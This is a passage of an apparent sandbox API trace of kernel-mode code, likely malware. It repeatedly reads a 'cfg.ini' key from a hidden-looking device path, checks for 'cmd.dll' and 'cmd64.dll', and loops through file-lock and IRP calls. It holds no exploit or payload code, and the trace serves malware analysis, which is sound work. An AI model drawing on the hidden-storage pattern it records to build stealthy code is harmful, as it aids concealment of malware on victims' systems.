_Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.209] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.209] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.209] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.209] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.209] IdePortDispatch () returned 0x103 [0118.210] KeWaitForMutexObject () returned 0x0 [0118.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.210] KeLeaveCriticalRegion () [0118.210] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.210] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.210] KeEnterCriticalRegion () [0118.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.210] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.210] KeLeaveCriticalRegion () [0118.210] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.210] KeEnterCriticalRegion () [0118.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.211] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.211] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.211] KeLeaveCriticalRegion () [0118.211] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.211] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.211] KeEnterCriticalRegion () [0118.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.211] ExFreePoolWithTag (P=0xfffffa80039d1810, Tag=0x0) [0118.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.211] KeLeaveCriticalRegion () [0118.211] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.211] ReleaseMutex (hMutex=0xf0) returned 1 [0118.211] Sleep (dwMilliseconds=0x124f80) [0118.229] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.229] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.229] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.229] KeEnterCriticalRegion () [0118.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.229] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.229] IdePortDispatch () returned 0x103 [0118.229] KeWaitForMutexObject () returned 0x0 [0118.229] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.229] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.229] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.229] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.229] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.229] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d10e0 [0118.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.230] KeLeaveCriticalRegion () [0118.230] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.230] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.230] KeEnterCriticalRegion () [0118.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.230] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.230] KeLeaveCriticalRegion () [0118.230] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.230] KeEnterCriticalRegion () [0118.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.230] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.230] IdePortDispatch () returned 0x103 [0118.230] KeWaitForMutexObject () returned 0x0 [0118.230] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.230] KeLeaveCriticalRegion () [0118.230] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.230] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.230] KeEnterCriticalRegion () [0118.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.230] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9e000 [0118.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.231] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.231] IdePortDispatch () returned 0x103 [0118.231] KeWaitForMutexObject () returned 0x0 [0118.231] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.231] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.231] IdePortDispatch () returned 0x103 [0118.231] KeWaitForMutexObject () returned 0x0 [0118.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.231] KeLeaveCriticalRegion () [0118.231] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.232] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.232] KeEnterCriticalRegion () [0118.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.232] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.232] KeLeaveCriticalRegion () [0118.232] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.232] KeEnterCriticalRegion () [0118.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.232] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.232] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003baa750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.232] KeLeaveCriticalRegion () [0118.232] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.232] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.232] KeEnterCriticalRegion () [0118.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.232] ExFreePoolWithTag (P=0xfffffa80039d10e0, Tag=0x0) [0118.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.232] KeLeaveCriticalRegion () [0118.232] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.232] ReleaseMutex (hMutex=0xf0) returned 1 [0118.233] Sleep (dwMilliseconds=0x124f80) [0118.251] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.251] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.251] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.251] KeEnterCriticalRegion () [0118.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.251] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.251] IdePortDispatch () returned 0x103 [0118.251] KeWaitForMutexObject () returned 0x0 [0118.251] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.251] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.251] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.251] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.251] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.251] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1810 [0118.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.251] KeLeaveCriticalRegion () [0118.251] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.251] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.251] KeEnterCriticalRegion () [0118.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.251] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.252] KeLeaveCriticalRegion () [0118.252] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.252] KeEnterCriticalRegion () [0118.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.252] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.252] IdePortDispatch () returned 0x103 [0118.252] KeWaitForMutexObject () returned 0x0 [0118.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.252] KeLeaveCriticalRegion () [0118.252] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.252] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.252] KeEnterCriticalRegion () [0118.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.252] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca3000 [0118.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.252] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.252] IdePortDispatch () returned 0x103 [0118.252] KeWaitForMutexObject () returned 0x0 [0118.253] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.253] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.253] IdePortDispatch () returned 0x103 [0118.253] KeWaitForMutexObject () returned 0x0 [0118.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.253] KeLeaveCriticalRegion () [0118.253] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.254] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.254] KeEnterCriticalRegion () [0118.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.254] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.254] KeLeaveCriticalRegion () [0118.254] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.254] KeEnterCriticalRegion () [0118.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.254] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.254] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.254] KeLeaveCriticalRegion () [0118.254] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.254] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.254] KeEnterCriticalRegion () [0118.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.254] ExFreePoolWithTag (P=0xfffffa80039d1810, Tag=0x0) [0118.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.254] KeLeaveCriticalRegion () [0118.254] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.254] ReleaseMutex (hMutex=0xf0) returned 1 [0118.254] Sleep (dwMilliseconds=0x124f80) [0118.271] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.271] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.271] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.271] KeEnterCriticalRegion () [0118.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.271] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.271] IdePortDispatch () returned 0x103 [0118.271] KeWaitForMutexObject () returned 0x0 [0118.271] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.271] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.271] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.271] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.271] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.271] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d10e0 [0118.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.271] KeLeaveCriticalRegion () [0118.271] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.272] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.272] KeEnterCriticalRegion () [0118.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.272] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.272] KeLeaveCriticalRegion () [0118.272] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.272] KeEnterCriticalRegion () [0118.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.272] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.272] IdePortDispatch () returned 0x103 [0118.272] KeWaitForMutexObject () returned 0x0 [0118.272] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.272] KeLeaveCriticalRegion () [0118.272] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.272] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.272] KeEnterCriticalRegion () [0118.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.272] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca8000 [0118.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.272] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.272] IdePortDispatch () returned 0x103 [0118.273] KeWaitForMutexObject () returned 0x0 [0118.273] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.273] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.273] IdePortDispatch () returned 0x103 [0118.273] KeWaitForMutexObject () returned 0x0 [0118.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.273] KeLeaveCriticalRegion () [0118.273] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.273] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.273] KeEnterCriticalRegion () [0118.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.273] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.274] KeLeaveCriticalRegion () [0118.274] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.274] KeEnterCriticalRegion () [0118.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.274] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.274] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.274] KeLeaveCriticalRegion () [0118.274] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.274] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.274] KeEnterCriticalRegion () [0118.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.274] ExFreePoolWithTag (P=0xfffffa80039d10e0, Tag=0x0) [0118.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.274] KeLeaveCriticalRegion () 